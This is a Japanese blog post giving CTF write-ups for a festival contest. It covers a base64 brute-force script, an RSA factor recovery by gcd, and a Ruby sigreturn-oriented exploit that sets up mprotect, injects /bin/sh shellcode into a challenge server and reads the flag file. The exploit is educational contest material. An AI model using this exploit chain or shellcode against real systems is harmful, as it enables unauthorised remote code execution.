駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)
この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。
一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp
Repeat64
2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。
rubyで書くとこんな感じです。
require 'base64' s = `cat output_repeat64.txt` cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_] def e(x); Base64.encode64 x; end def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end 100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}
RSA modoki
想定解とも、moratorium解法とも違うやり方をしました。
, と定義します。
これらは今回渡される情報に含まれていて、既知です。
これは定義より、あるがあって、, が成立します。
よって、が成立することが十分期待できるのですが、が巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐにが成立することがわかります。
は比較的小さいため、これは現実的に計算ができます。
です。
e = 65537 n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373 z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467 w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003 kM = e^e - z lM = lift((Mod(n, kM)^e) - w) print(gcd(kM, lM))
rop4/rop1
競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。
最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。
SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。
#encoding: BINARY require 'socket' #s = TCPSocket.new('localhost', 4567) s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000) stack = [ 0x400120, # read 15 byte # syscall (sigreturn) *[0]*5, # *[0]*8, # r8-r15 0x800000, # rdi addr 0x100, # rsi len 0x400120, # rbp <= new rsp 0x40013c, # rbx 0x7, # rdx prot 0xa, # rax mprotect 0x0, # rcx 0x800000 + 8*16, # rsp 0x40013c, # rip 0x0, # eflags 0x33, # csgsfs *[0]*4, # 0, # &fpstate ].pack("Q*") puts stack.size s.write stack.ljust(0x100, ?0) s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15] s.flush sleep 1 # http://shell-storm.org/shellcode/files/shellcode-806.php sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # add rsp, 0x100 sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0) s.puts 'ls -l' s.puts 'cat /home/*/flag' s.puts 'exit' while l = s.gets puts l end
宣伝
駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp
明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。